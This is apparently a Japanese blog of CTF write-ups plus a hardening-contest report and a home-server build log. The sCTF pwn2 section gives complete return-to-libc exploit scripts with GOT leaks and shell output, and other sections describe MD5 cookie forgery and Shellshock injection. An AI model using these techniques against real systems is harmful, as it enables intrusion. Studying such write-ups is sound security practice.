Google CTF writeup
Google CTF
いつもの如く yharima チームで参加.
700 pts で 145 位だった.クソ難しかったという印象.
とりあえず自分が解いたやつを書きます.
In Recorded Conversation (25pts)
とりあえず落としてきた pcap を strings してみると,
IRC のログっぽい.適当にスクロールしているとフラグっぽい文字列が分割されてあったので,
順番に結合して投げただけ.
Ernst Echidna (50pts)
Web サイトをハッキングしてくれ,的な問題.
とりあえず適当に register してみてもよくわからない.
問題文に robots.txt みると良い的なことが書いてあるのでみると,
/admin
が disallow されていた.
適当にログインしてアクセスしてみると
Sorry, this interface is restricted to administrators only
admin ユーザを作ってログインすれば良いのかと思い,
register してみると,
'admin' account already taken!
でダメ.
SQLi とかなんだろうかと思ったが,
一度自分が作ったアカウントで再度 register しても admin と同様のエラーにはならず,
普通にアカウントが作成できる.
ということは,アカウントの管理はしていないのではないか,と推測.
クッキーでも見てみるか,と思いみてみると md5-hash
だと書いてある.
これは,ユーザ名の MD5 じゃないのかと思いとりあえず作ったユーザ名の MD5 をとってみると一致.
admin
の MD5 をとってクッキー差し替えて admin
にアクセスしたらフラグが取れた.
Ill Intentions (150pts)
もっとスマートな解法があるので参考にしないことをおすすめします.
6時間くらい戦ってようやく解けた問題.解けたときはとても達成感と共に徒労感に襲われた.
apk がくるならとりあえず中身のソースコードを読んでみたくなるので,
以下の手順とツールでデコンパイルして読んだ.
- apk を unzip
- dex2jar で class.dex を jar に変換
- ./d2j-jar2dex.sh classes.dex
- CFR で jar を ソースコードに変換
- java -jar cfr_0_115.jar classes-dex2jar.jar --outputdir src
ざっとデコンパイルしたソースコードを読むと,
ブロードキャストすることでインテントが切り替わって,
切り替わったインテントでクリックすると native で書かれた関数を経由して,
なんらかの文字列(おそらくフラグ)を吐き出しているらしい,ということがわかった.
フラグを生成している部分の元の文字列は,リソースなどを追うとわかる.
ということは,頑張れば静的解析だけでなんとかなるんじゃないかと思い,
native で書かれた関数の実体である libhello-jni.so
をみてみたが,
ちょっと解析する氣にはなれず動かしたいという方向に振れる.
ここから最高に迷走し始めるが,最終的には簡単にまとめると以下のように解いた.
1. apk を展開する 2. 展開した apk の AndroidManifest.xml を修正して指定したインテントを起動時に開くようにする 3. 展開した apk 内にあるコード(.smali)を弄ってフラグの変数を System.out.println するようにする 4. apk を再構築して適当に署名する 5. hack した apk をエミュで起動して ddms でログを監視する
もうゴリ押し以上の何者でもないという感じ(チームメンバーがほかの人の writeup を読んだ後にそう言われた).
まず apk の展開と再構築には apktool を使った.
どうやら wrapper script もある優しい仕様なので jar と一緒のディレクトリに転がして +x
しておく.
展開自体は以下のコマンドで簡単にできる.
$ ./apktool d illintentions.apk
展開するとディレクトリが生成され,直下に AndroidManifest.xml
がある.
現在は,起動時に MainActivity
が起動するようになっているので,
MainActivity
と IsThisTheRealOne
を入れ替えて IsThisTheRealOne
を起動するようにする.
このとき android:label
と android:name
のどちらも入れ替えておいた(name だけでも良いかもしれない).
これで, apk を再構築してインストールすると IsThisTheRealOne
が起動するようになる.
これだけでは不十分なので, IsThisTheRealOne
インテントの画面でクリックした際に,
System.out.println でフラグと思われる文字列を出力するようにする.
これは,展開した apk のディレクトリ内にある中間コード形式で保存されている smali を編集する.
smali/com/example/application/IsThisTheRealOne\$1.smali を開いて以下のように編集した.
@@ -144,9 +144,12 @@ .line 34 iget-object v5, p0, Lcom/example/application/IsThisTheRealOne$1;->this$0:Lcom/example/application/IsThisTheRealOne; - const-string v6, "ctf.permission._MSG" + const-string v9, "ctf.permission._MSG" - invoke-virtual {v5, v3, v6}, Lcom/example/application/IsThisTheRealOne;->sendBroadcast(Landroid/content/Intent;Ljava/lang/String;)V + invoke-virtual {v5, v3, v9}, Lcom/example/application/IsThisTheRealOne;->sendBroadcast(Landroid/content/Intent;Ljava/lang/String;)V + + sget-object v8, Ljava/lang/System;->out:Ljava/io/PrintStream; + invoke-virtual {v8, v6}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V .line 35 return-void
const-string v6
は変数を表していて,もともとは "ctf.permission._MSG" が代入されている.
この v6 は元々出力したい文字列(フラグ)が代入されていて上書きされてしまっているので,v9
に変数名を変えておく.
後続の invoke-virtual {v5, v3, v6}
はメソッド呼び出しになっていて,
{v5, v3, v6}
は引数部分になっている(呼び出し方は色々あり,第一引数に this のオブジェクトが必要,といった形式もあるので注意).
v6
は先ほど v9
に変えたので変更しておく.
続いて, sget-object v8, Ljava/lang/System;->out:Ljava/io/PrintStream;
で System.out.println を実行する準備をする.
次の行で invoke-virtual {v8, v6}
として, v6
を出力するようにしている.
以上の編集が終われば, apktool を使って再構築する.
再構築するコマンドは以下.
$ ./apktool b illintentions
これで展開していたディレクトリ直下に /dist
ディレクトリが出来て,
その中に再構築された apk ができる.
しかし,このままエミュレータにはインストールできないので署名をする.
$ jarsigner -verbose -signedjar signed_illintentions.apk -keystore ~/.android/debug.keystore illintentions.apk androiddebugkey
keystore は android の SDK をインストールされると生成されるらしく,それを用いた.
パスワードは android
なので上記実行後に求められるので入力する.
以上で,エミュレータで起動する準備は完了.
エミュレータを起動して adb を使って apk を転送する.
加えて, SDK ツールのどこかにログツールである ddms
を起動しておく.
ddms
にフラグが無事でました.
他
何問か相談したり,途中まで書いたコードから解いてくれたチームメンバーのブログを置いておきます.
sCTF 2016 Q1 writeup
sCTF 2016 Q1
いつものチームで参加.
自分は時間も取れなかったこともあるけど問題も全然解けなかった….
復習として pwn2 を解いたのでその writeup を書いておく.
pwn2
接続しにいくと
How many bytes do you want me to read?
と,何バイト入力するかを聞いてくる.
任意のバイト数を入力できるわけではなく,
8048541: c7 44 24 04 04 00 00 mov DWORD PTR [esp+0x4],0x4 8048548: 00 8048549: 8d 45 d4 lea eax,[ebp-0x2c] 804854c: 89 04 24 mov DWORD PTR [esp],eax 804854f: e8 8f ff ff ff call 80484e3 <get_n> 8048554: 8d 45 d4 lea eax,[ebp-0x2c] 8048557: 89 04 24 mov DWORD PTR [esp],eax 804855a: e8 61 fe ff ff call 80483c0 <atoi@plt> 804855f: 89 45 f4 mov DWORD PTR [ebp-0xc],eax 8048562: 83 7d f4 20 cmp DWORD PTR [ebp-0xc],0x20 # <= 8048566: 7e 15 jle 804857d <vuln+0x4e>
といったように 32 byte までしか入力できない.
追っていったところ負数を与えると 32 byte 以上入力できることがわかった.
How many bytes do you want me to read? -1 Ok, sounds good. Give me 4294967295 bytes of data!
ここまでくれば,後はスタックオーバーフローを利用する.
ただ,以下のように DEP が有効になっておりスタック上にシェルコード置いても実行することができない.
STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4 filesz 0x00000000 memsz 0x00000000 flags rw-
色々迷走した結果, Return-to-libc で DEP を回避し shell を起動した.
まず Return-to-libc するにあたり, libc のバージョンを特定しなければならない.
GOT にある関数のアドレスをリークすることができれば,
libcdb にアドレスを入れて検索することができる.
printf@plt のアドレスはわかっているので,スタックオーバーフローを利用して,
戻りアドレスを printf@plt にしてうまくスタックを積んであげれば任意のメモリの内容を参照することができる.
例えば,以下のようにスタックを積む.
---------------------------------- printf@plt のアドレス # 元は vuln 関数呼び出し元のアドレス部分 ---------------------------------- printf@plt 実行後の戻りアドレス ---------------------------------- printf 実行時の書式文字列 ---------------------------------- 書式文字列で表示する内容のアドレス ----------------------------------
printf@plt のアドレスは objudmp するとすぐに見つかる.
$ objdump -M intel -d pwn2 | grep "printf@plt" 08048360 <printf@plt-0x10>: 08048370 <printf@plt>:
次に積む戻りアドレスはとりあえず今はなんでも良いことにして,"AAAA" など適当に積んでおく.
printf 実行時の書式文字列は,プログラム内に存在するものを拝借することにする.
具体的に言えば,以下の "You said: %s" を利用する.
(gdb) x/s 0x80486f8 0x80486f8: "You said: %s\n"
そして最後のリークさせたアドレスは GOT にある関数のアドレスで, これは printf@plt の1行目を見ると 0x804a00c だということがわかる.
08048370 <printf@plt>: 8048370: ff 25 0c a0 04 08 jmp DWORD PTR ds:0x804a00c 8048376: 68 00 00 00 00 push 0x0 804837b: e9 e0 ff ff ff jmp 8048360 <_init+0x24>
以上をまとめると,構成するスタックは以下となる.
--------------------------------------------------- 0x08048370 # printf@plt --------------------------------------------------- 0x41414141 # AAAA(戻りアドレス) --------------------------------------------------- 0x080486f8 # "You said: %s\n" --------------------------------------------------- 0x0804a00c # printf@plt が読んでいる got のアドレス ---------------------------------------------------
とりあえず,これらをまとめて以下のようなスクリプトを書いて実行する.
import socket import struct def p(p): return struct.pack('<I', p) def u(p): return struct.unpack('<I', p)[0] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('problems2.2016q1.sctf.io', 1338)) # R:How many bytes do you want me to read? msg = s.recv(1024) # S:-1 s.send("-1\n"); # R:Ok, sounds good. Give me 4294967295 bytes of data! msg = s.recv(1024) buf = 'A' * 48 # printf@plt address buf += p(0x8048370) # return address(unused) buf += 'AAAA' # 'You said "%s"' address buf += p(0x80486f8) # printf@got buf += p(0x804a00c) # S: $buf s.send(buf + "\n") # R: You said: $buf msg = s.recv(1024) # R: You said: ??? msg = s.recv(1024).strip() print msg.encode('hex')
これを実行すると…
$ python pwn2_leak.py 596f7520736169643a20800266b7a0a467b79683040890c962b7308d67b7604864b7
これだけではわけがわからないので部分ごとに切り分ける.
596f7520736169643a20 # "You said: " 800266b7 a0a467b7 96830408 90c962b7 308d67b7 604864b7
当初自分の予想は, "You said: " の後に 4 byte のアドレスが出力されるのだろう,
と思っていたら 4 byte のアドレスが 6個もでてきてわけがわからなかった.
よくよく考えてみると, 出力は指定した先頭アドレスから "\0" が現れるまで出力されてしまうので,
はじめの "800266b7" は printf@got のアドレスだろうと予測できる(リトルエンディアン形式になっていることに注意).
では残りのアドレスはなんだろうと思って plt 周りを読んでみると,
08048370 <printf@plt>: 8048370: ff 25 0c a0 04 08 jmp DWORD PTR ds:0x804a00c 8048376: 68 00 00 00 00 push 0x0 804837b: e9 e0 ff ff ff jmp 8048360 <_init+0x24> 08048380 <getchar@plt>: 8048380: ff 25 10 a0 04 08 jmp DWORD PTR ds:0x804a010 8048386: 68 08 00 00 00 push 0x8 804838b: e9 d0 ff ff ff jmp 8048360 <_init+0x24> 08048390 <__gmon_start__@plt>: 8048390: ff 25 14 a0 04 08 jmp DWORD PTR ds:0x804a014 8048396: 68 10 00 00 00 push 0x10 804839b: e9 c0 ff ff ff jmp 8048360 <_init+0x24> 080483a0 <__libc_start_main@plt>: 80483a0: ff 25 18 a0 04 08 jmp DWORD PTR ds:0x804a018 80483a6: 68 18 00 00 00 push 0x18 80483ab: e9 b0 ff ff ff jmp 8048360 <_init+0x24> 080483b0 <setvbuf@plt>: 80483b0: ff 25 1c a0 04 08 jmp DWORD PTR ds:0x804a01c 80483b6: 68 20 00 00 00 push 0x20 80483bb: e9 a0 ff ff ff jmp 8048360 <_init+0x24> 080483c0 <atoi@plt>: 80483c0: ff 25 20 a0 04 08 jmp DWORD PTR ds:0x804a020 80483c6: 68 28 00 00 00 push 0x28 80483cb: e9 90 ff ff ff jmp 8048360 <_init+0x24>
となっており,指定したアドレス "0x804a00c" の後続は,
getchar@plt が呼び出している "0x804a010" であり,
その後も 4byte 刻みで,各 plt が呼び出しているアドレスだとわかった.
つまり先ほどの出力結果は,
596f7520736169643a20 # "You said: " 800266b7 # printf@got a0a467b7 # getchar@got 96830408 # __gmon_start__@got 90c962b7 # __libc_start_main@got 308d67b7 # setvbuf@plt 604864b7 # atoi@got
といった感じになる.
シンボル名とアドレスがそれぞれわかったので, libcdb に,
"__libc_start_main@got" と "printf@got" のアドレスを入力すると,
libc のバージョンが特定できた.
# ASLR 有効でも末尾 12 bit のアドレスはランダムにならず一定になることから特定できるらしい.
このサイトは該当の libc のベースアドレスからみた各関数の位置が載っている.
そのためリークした関数のアドレスから libc のベースアドレスを求めることができる.
例えば, atoi だと今回リークしたアドレスは "0xb7644860" で,
atoi libc_base + 0x00031860
"0xb7644860" - "0x00031860" が libc のベースアドレスになる.
ここまでくれば後は単純で,
libc の中にある system 関数のアドレスと "/bin/sh\0" のアドレスを,
libcdb から探して libc のベースアドレスを加算しておく.
後はスタックを以下のように積むとシェルが起動するはず.
---------------------------------- system 関数のアドレス ---------------------------------- 戻りアドレス(なんでもいい) ---------------------------------- "/bin/sh\0" へのアドレス ----------------------------------
というわけで, exploit のコードを書いてみる.
import socket import struct def p(p): return struct.pack('<I', p) def u(p): return struct.unpack('<I', p)[0] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('problems2.2016q1.sctf.io', 1338)) libc_base = 0xb7644860 - 0x00031860 system_addr = libc_base + 0x00040190 bin_sh_addr = libc_base + 0x00160a24 # R:How many bytes do you want me to read? msg = s.recv(1024) # S:-1 s.send("-1\n"); # R:Ok, sounds good. Give me 4294967295 bytes of data! msg = s.recv(1024) buf = "A" * 48 # system buf += p(system_addr) # return address(unused) buf += "AAAA" # /bin/sh addr buf += p(bin_sh_addr) # S: $buf s.send(buf + "\n") # R: You said: $buf s.recv(1024) print "$ ls -l" s.send("ls -l\n") print s.recv(1024)
実行する.
$ python exploit.py $ ls -l
あれ…?
よくよく考えると ASLR が有効になっているので libc のベースアドレスは毎回変動してしまう.
32 bit であればパターンが多くないのでそのうちヒットしそうだが,時間はかかるし美しくない.
どうにかならないものかと考えたところ,最初に libc のベースアドレスを求めるために got をリークするときに積んだスタックは,
--------------------------------------------------- 0x08048370 # printf@plt --------------------------------------------------- 0x41414141 # AAAA(戻りアドレス) --------------------------------------------------- 0x080486f8 # "You said: %s\n" --------------------------------------------------- 0x0804a00c # printf@plt が読んでいる got のアドレス ---------------------------------------------------
となっていて,戻りアドレスが適当になっている.
この戻りアドレスを vuln() 関数のアドレスにすると,
ここでリークさせたアドレスと同じ状態で,
再度同じスタックオーバーフローが実現できるので,
ASLR 影響を回避することができる.
最終的に書いたコードは以下.
import socket import struct def p(p): return struct.pack('<I', p) def u(p): return struct.unpack('<I', p)[0] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('problems2.2016q1.sctf.io', 1338)) # R:How many bytes do you want me to read? msg = s.recv(1024) # S:-1 s.send("-1\n"); # R:Ok, sounds good. Give me 4294967295 bytes of data! msg = s.recv(1024) buf = 'A' * 48 # printf@plt address buf += p(0x8048370) # return address(vuln()) buf += p(0x804852f) # 'You said "%s"' address buf += p(0x80486f8) # printf@got buf += p(0x804a00c) # S: $buf s.send(buf + "\n") # R: You said: $buf msg = s.recv(1024) # R: You said: (printf@got,getchar@got,... addrres) msg = s.recv(1024).strip() print "printf@got: " + hex(u(msg[10:14])) print "getchar@got: " + hex(u(msg[14:18])) print "__gmon_start__@got: " + hex(u(msg[18:22])) print "__libc_start_main@got: " + hex(u(msg[22:26])) print "setvbuf@got: " + hex(u(msg[26:30])) print "atoi@got: " + hex(u(msg[30:34])) print "=" * 30 # search: http://libcdb.com/ # result: http://libcdb.com/libc/92 # atoi: libc_base + 0x00031860 libc_base = u(msg[30:34]) - 0x00031860 system_addr = libc_base + 0x00040190 bin_sh_addr = libc_base + 0x00160a24 print "libc_base addr: " + hex(libc_base) print "system addr" + hex(system_addr) print "/bin/sh addr: " + hex(bin_sh_addr) print "=" * 30 ## S:-1 s.send("-1\n"); # R:Ok, sounds good. Give me 4294967295 bytes of data! msg = s.recv(1024) buf = "A" * 48 # system buf += p(system_addr) # return address(unused) buf += "AAAA" # /bin/sh addr buf += p(bin_sh_addr) # S: $buf s.send(buf + "\n") # R: You said: $buf msg = s.recv(1024) print "$ ls -l" s.send("ls -l\n") print s.recv(1024) print "$ cat flag.txt" s.send("cat flag.txt\n") print s.recv(1024)
実行すると,
$ python pwn2_exploit.py printf@got: 0xb7630280 getchar@got: 0xb764a4a0 __gmon_start__@got: 0x8048396 __libc_start_main@got: 0xb75fc990 setvbuf@got: 0xb7648d30 atoi@got: 0xb7614860 ============================== libc_base addr: 0xb75e3000 system addr0xb7623190 /bin/sh addr: 0xb7743a24 ============================== $ ls -l total 12 -r--r----- 1 root pwn2 24 Apr 7 23:08 flag.txt -r-xr-x--- 1 root pwn2 7553 Apr 9 01:16 pwn2 $ cat flag.txt sctf{r0p_70_th3_f1n1sh}
フラグ sctf{r0p_70_th3_f1n1sh}
をとれた.
OWASP DAY 2016 Spring MINI Hardening writeup(?)
同期から教えてもらって Hardening に参加できたらいいなー,
と思ってポチったら無事当選でき参加してきた.
チーム
4人1チームだったのだけれど,1人は最初からメールの返信もなく,当日も現れなかった….
偶然なのか何なのか同じ会社の人もチームメンバーでとても驚いた.
シナリオ
与えられたシナリオは簡単にはざっと以下のような感じ(足りないとこもありそう).
- LAMP 環境の Web サイトが与えられる
- Web サイトは Wordpress で構築されている
- FTP を使ってサイトのファイルを更新している
- IT 担当のアカウントが3つ転がっている
- 競技者は
unyou
アカウント or 自分で作ったアカウントを利用する
採点は, ftp や http などが上がってるかどうかで(全部で4つあった),
前のスクリーンに映しだされていたが,小さくてよく見えなかった.
とりあえず自分のチームの位置をチームメンバーの人に教えてもらったので,
赤いものを青くするように頑張る感じ.
競技内容
何も考えず始まった瞬間に yum update
をかけるも,
ミラーサーバにつながらない.そういう話ではないのか,と理解した.
それならとりあえず怪しいプロセスはいないかと思って, ps aux
してみたけど,
そんな変なプロセスが変なユーザで常時動いてる,という感じではなさそうだった.
cron で怪しいものとか動かしてないかなー,とか思って sudo crontab -l
してみると,
なんか 5分ごとに動いている healthcheck があった.
中身をみてみると難読化された python のコードでどうみても怪しいので,
とりあえず該当の cron をコメントアウトして動かないようにした.
次に, /var/log
以下を適当に漁ってみたけど,色々ありすぎてとっかかりが見つからない.
ただ, /var/log/secure
を眺めてると過去に大量ログインに失敗しているログがあって,
攻撃を受けていた,ということがわかった.
侵入されている可能性もありそうで,とりあえずユーザ一覧を眺めようと思って,
/etc/passwd
を見てみると, vnyou
とかいうどうみても怪しいやつがいた.
id vnyou
してみると root 権限をもっているしこいつはダメだということになり,
チームメンバーに通報して vnyou
ユーザを抹殺.
とっかかりが見えたので, /var/log
以下を vnyou
で grep
してみると,
- IT 担当のアカウントのうち
ken
が割られてvnyou
を追加している - ftp の chroot_list(だったっけ?)に
vnyou
を追記している www
以下に.test
みたいなディレクトリを掘って怪しいファイルを設置している(2箇所)- (既に止めていた) healthcheck ファイルを配置している
と,侵入されてからやられていることはこんな感じだった.
とりあえず, chroot_list から vnyou
を削除.
www
以下に置かれた怪しいファイルを見てみると難読化されていてさっぱり読めなかったが,
どうみても怪しいので,2ファイルとも削除.
cron で叩いてる healthcheck は最初に止めたので,
これで ken
が割られて怪しいことをされたところは一通りなんとかできた.
スコアボードを見てみるとどうやらまだ ftp が赤く,
チームメンバーと色々相談したり,運用ルールを見ながら変なところを探して,
設定を色々変えてみたけど青くならず.
みんなで, ftp と戦っているうちに運営からみんな攻撃にさらされてますよ!!!
的なアナウンスがあって,マジで!? と思ってスコアボードをみてみると,
他のチームは全部赤くなったりしていたけど,うちは特に変わらず ftp だけ赤い.
さっき消したバックドア周りから攻撃されたっぽいようでうちは大丈夫だった.
その後,チームメンバーとずっと ftp と戦ってたけどさっぱりわからんかった.
最後の数分で突然運営から,みんなよく出来ていて面白くないので突発的に攻撃します!!!
と言われて,攻撃を受けると httpd が刺さって死亡.
刺さってる httpd はどうしようもないので,とりあえず restart かけてあげた.
そんなこんなで,競技終了.
最後の攻撃は,アクセスログから推測するに, slow request 的な攻撃を受けたっぽかった.
httpd はノーチューニングなのでどうしようもなかった.
反省点
- あまりチームの連携がうまくとれてなかった
- 最後まで port forward をやらなかったので運用しているページを見たことがなかった
- ftp はまりすぎ
色々ありそうだけど,パっと思いついたのはこんな感じ.
感想
思った以上に時間は早く過ぎていって,もっと色々やりたかったな,というところがあった.
とはいえ,こういう競技に参加するのは初めてだったので非常に新鮮でかつ楽しめた.
攻撃に晒されるというのは,大変だった.
今回はとっかかりを掴めば,
結構対策できたのでそういったところはうまく立ち回れたのかな?(だったらいいな)
ただし ftp 周りはさっぱりわからんかったのでよろしくない….反省.
普段の業務では守る側,というほどではない(社内からしかアクセスできないツールしか作ってない)ので,
CTF とは違った楽しみがありつつも,守る側が一番大変ということを実感できた.
本家の8時間のほうも参加できるならしてみたいな,と思いました.
おまけ(追記)
チームメンバーの方が書かれた writeup では,
この writeup の足りない部分(システム構成や動作させている Web サイトなど)が書かれています.
ESXi on NUC + NAS で自宅サーバ構築
概要
何かやるときは EC2 でインスタンス立ち上げて…,
とかやっていたのだけれども,面倒くさい.
それに,自宅に共有ファイルサーバくらいは欲しい.
それならいっその事,自宅サーバ構築するか,という機運が高まり構築.
電気代はアウトソーシング(実家に)できないので,
可能な限り消費電力を下げることを目的に頑張る,というかそれを一番重視した.
NAS
色々悩んだのだけれども,アプライアンスに手を出してみた.
RAID 1 が組めれば良いし,そんな大容量を求めていないので,ReadyNAS RN10200 を調達.
HDD は HGST 信者なので HGST 0S03361 を2発購入.
RAID 1 を組むので利用可能なのは 4TB になるがそんなに使わないので問題無し.
初期不良は嫌なので, WinDFT を落としてきて,
ExtTest => Zero fill => ExtTest を念のため実行して問題がないことを確認.
1台あたり大体40時間くらいかかったような?
あとは RN10200 に2発とも挿して指示通りにセットアップしてあげるだけ.
注意点としては Firmware の 6.4.x 系が今のところ地雷だという噂.
自分のは 6.2.4 だったので 6.2.x 系の最新版にしてあるけど,今のところ特に問題は無し.
iPhone からも FileExplorer などを利用すると接続できた.
NUC
Intel NUC はどうやら ESXi のドライバなどが非公式だが揃っているようなので選択.
今回は, NUC5i5RYH を購入.
別に 2.5-inch ベイは必要なかったのだけれど,ベイがあるほうが安かったので….
メモリは 1.35V の定電圧のものが投げ売りされていたので 8GB * 2本を購入.
本当はもっとメモリ積みたいのだけど NUC の限界なので諦め.
ストレージは NAS を mount して VM などのファイルを保存してあげれば大きいものはいらない.
ESXi はとても軽量なので,家に転がっていた適当な USB メモリにインストールする.
初回インストール用の boot もこの USB でやるので一石二鳥(?).
組むのはメモリ挿すだけなので一瞬.
boot 用の USB メモリに Memtest86+ を入れて念のため回しておく.
インストール
以下の通りにやったらできた.
ESXi 6.0 Image for Intel NUC | Virten.net
ここまできたら IP アドレスを設定してあげるくらい.
残りは vSphere Client 経由で色々することになる.
感想
思ったよりは簡単に構築できた.
NAS + HDD が 5万円程度, NUC + メモリが 6万円程度なのでそれなりにかかった.
物理的な大きさは以下のような感じ.
(写真には NAS と NUC 以外にも ルータと ONU も写り込んでいる)
ルータと NAS と NUC は UPS に繋いでいて,
UPS 計測によると平均 25W 程度で推移している模様.
大体これは月額400円少しくらいらしい.
年間だと5000円ちょっとでなかなか悩ましい出費かも….
(電気代の大部分は HDD が占めているのでどうしようもなさそう.)
ただ,色々遊べるので良いかなと.
場阿忍愚CTF writeup
同期の間で流行り出して参加.
結果は, 22位で4648点でした.もう少し解きたかった….
しかし最高に楽しかった.参加してからの2ヶ月はほとんど問題のことばっかり考えていた気がする.
色々なジャンルに触れ,ツールなども学べたので良い経験になったと思う.
練習
image level 1
画像を全部開いてタブで移動しながら読んだ.
芸術
ワットイズディス?
ヒントに「大和セキュリティ勉強会のステッカー」って書いてあったので,
よく見てみると確かにそう読めた.
cole nanee?
画像検索にかけると,どうやら運営っぽい人たちの Twitter アイコンに使われているようだ.
このやたら忍者推しで漢字1文字,かつ形から推測した.
Lines and Boxes
とても苦しんだ.
ヒントから漢字じゃなさそうまでは予想.アルファベット?
どうも右の文字は PLAY と読めなくもない.
それから左の文字が全然わからないで詰み状態.
本当に無理やり読んでみると「山」以外は oRd なように読める.
ordplay で検索するとサジェストされた.
Why want something more?
画像検索にかけるとどうやら Asian art museum に該当文字の茶掛け?があるらしい.
書いたと思われる人が Shozo Sato という人だとわかる.
この名前で検索すると 「Shodo: The Quiet Art of Japanese Zen Calligraphy; Learn the Wisdom of Zen Through Traditional Brush Painting」 なる本を出版しているのがわかる.中身検索で見ても見つからず詰み.
本タイトルで漂っているとなんか youtube に順番にページをめくっていくだけの謎の動画があり,その中に書いてあった.
毎日使う
気合で草書を読む.
日本インターネット書道協会なるサイトに草書の早覚え法というページがあって,
偏を見ていると,「うかんむり?」か「きがまえ?」にみえる.
適当に偏から漢字を検索できるサイトでそれっぽい漢字を入れていった.
二進術
壱萬回
最初はずっと外部プログラムから叩いて自動回答していくのかと思ったが,どうもうまくいかず… バイナリ読んでみると, FLAG を出す関数が丸々見えている.16進数から頑張って変換する.
DxLib遊戯如何様
起動するとなんかオセロが始まる.
適当に勝利回数弄ればいいの?と思って「スペシャルねこまんま57号」を使い,
勝利回数を検索してメモリを弄り,65535にするとフラグが出てきた.
Unity遊戯如何様
ヒントにあることをそのままやる.
なんか「its_3D_Game_Tutorial」っぽいことがわかる.
でもそのまま入れてもダメ.謎い….
画面に表示されるタイミングで小文字に変換されたりするんだろうか?
と思って添付されているゲームの画像をよく見ると,
ソースでは Coins で渡しているのに画像では COINS と大文字になってる.
なるほど,大文字に変換されていた.
解読術
image level 5
解凍して ls するとタイムスタンプが全部異なる.
タイムスタンプ順に画像を開くと,意味のある文字になった.
Ninjya Crypto
ヒントから「忍者 暗号」で検索するとそれっぽいのが出てくる.
解読すると,「やまといえば」と書いてある.そのまま入れてみたがダメ.
問題に「敵か仲間か? 証明して!」と書いてある.そういえば「山といえば川」的な.
Decrypt RSA
こんなでかそうな素数分解できなさそう.
素数で検索すると Wikipedia のページが出てきて p, q がわかる.
あとはそこから秘密鍵の pem 作って openssl のコマンド流せばいけた.
解析術
Doubtful Files
ヒントもさっぱりわからない.
全部の画像適当に開くと「7.inf」はなぜか普通に開ける.
また,「8.vbs」はセキュリティ警告が出て起動できない.
起動できないエラーメッセージで検索していると ZoneID なるものがあるのがわかった.
ZoneID を確認するには notepad <FILE_PATH>:Zone.Identifier とすると確認できることがわかった.
「7.inf」と「8.vbs」を開くとなんか base64 っぽい文字があるので連結してデコード.
情報漏洩
なんかやたらでかいパケットをみると PNG っぽいヘッダがみえる.
3つあるので連結して png にするとあっさり開けた.
Speech by google translate
どうも切れてるように思える.ヒントに長く聞くには?的なことがあったので, 適当にヘッダを弄ってチャンクの長さ?部分を ff で埋め尽くしてきくと全部聞けた.
電網術
ftp is not secure.
Wireshark で開くと FTP-DATA が飛んでる部分がある.
TCP STREAM として追って dump した ASCII を適当に眺めるといかにも base64 っぽい文字があった.
あとはデコードしてあげた.
ベーシック
なんか http://burning.nsc.gr.jp にアクセスしてるのでアクセスしてみると認証が.
よくよく考えると http がユーザで //burning.nsc.gr.jp がパスワードであることに気づく.
ログインしたらフラグが書いてあった.
Japanese kids are knowing
適当に nmap でフルスキャンしてみると open なところが.
nc で順番につなぐと C, D, ... 的な文字がでてきた.
さっぱりわからなかったので適当に現れる文字 ACDEFG で検索してみるとどうやら音楽記号らしい?
演奏してくれるサイトに順番に入れて再生してみたらかえるの歌っぽいので frog を md5 にかける(改行されないように気をつける).
諜報術
KDL
internet Archive で戻ればわかった.
Mr. Nipps
Facebook か Twitter から追跡する? と思い調べる.
Twitter をみてると instagram に該当の日付・時間に画像を上げていた.
HOOTERS の公式などから緯度経度を調べて入れてみるもダメ.
全然わからなかったけど,ヒントをずっと見ていると,永 = A, 日° = P, 愛 = I だ! と気づく.
最初は google maps に API とか調べてたけど,よく考えたら instagram の API じゃない?
と思ってやってみた.新しいバージョンの API だとダメで心が折れそうになった.
よくよく公式ドキュメントを見てみると,古い API がまだ使えることがわかった.
公式ドキュメントの API Console のリンクから飛んで認証通して media の API 叩いたら緯度経度が取得できた.
あとは,桁数に気をつけて入力.
Akiko-chan
画像検索して wordpress な URL を探した.
タナカハック
ヒントの通り, www.yamatosecurity.com のファイルを wget して grep したら出てきた.
タイムトラベル
「DNS 50.115.13.104」で検索して片っ端から開いていくと ninja みたいなドメインが出てきた.
いかにもそれっぽいので入れてみたら答えだった.
記述術
search_duplicate_character_string
最長共通部分文字列(LCS) っぽい.
なんかそのあたりのワードで検索していたら ruby のコードがあったので,
そいつに入力丸々流したらあっさり答えが出た.
JavaScript Puzzle
alert
の部分はちゃんとアスキーコード表をみて入れる.
あとは,なんかそれっぽい感じになるように並べ替えただけ.
Count Number Of Flag's SubString!
curl で全探索気味に投げつけていった.
解凍?
file して圧縮形式を調べて順番に解凍していった.
何回も解凍しないとダメそうだったので, file した結果でコマンドを分岐するスクリプト書いて流した.
Make sorted Amida kuji!!
1問目は手動でポチポチやったら解けた.
2問目が問題で,全探索するのはどう考えても無理ゲー.
まずは,各行において有効となる順列をすべて生成する.
それで1, 2, 3, 4, 5行目だけ有効な順列をすべて試して,残りの行は最終的な順列に近くなるなら順番に交換していく,
という,部分全探索 + 貪欲の組み合わせでやったが,62個もでず.
これは有効な順列で全探索する行を5ときめて(これ以上は探索空間的にきつい),
その行を全探索する({1,2,3,4,5},{1,2,3,4,6}, ... })というクソみたいな小手先技を使ったら,
ピッタリ62個でた.あとは全部ファイルに出力して順番にクリックボードに送りつけて62回 web から投稿した.
超文書転送術
GIFアニメ生成サイト
適当に画像送りつけて,返ってきた画像を色々調べてみてもわからず.
DOM を弄って怪しいことしてもさっぱり.
色々諦めて,上がっている画像があやしい?とおもって1の画像を開くと 403 が返ってきた.
これは怪しいと思って,そういえば自分で画像を作った時はなんかパスが違うだったなー,と思い,
そのパスで画像を表示してみるとなんか gif が出てきたので DL して preview で開いたらフラグがあった.
Network Tools
ページをみてみるとなんか bash のバージョン書いてある.
そういえば前に出た CTF で shellshock の問題があったなー,とおもって
適当に ls するものを埋め込んで ps とか実行してみたら flag のファイルがあったので cat した.
箱庭XSS
入力値が全部大文字になる,ということは色々入力しているとわかった.
html タグは大文字になっても有効だけど,js はダメ….
そういえば前に記号だけで js を書くとかいうネタをみたことがあったので,
調べてみて,その通りに alert を出すコードを書いたらフラグが出た.
YamaToDo
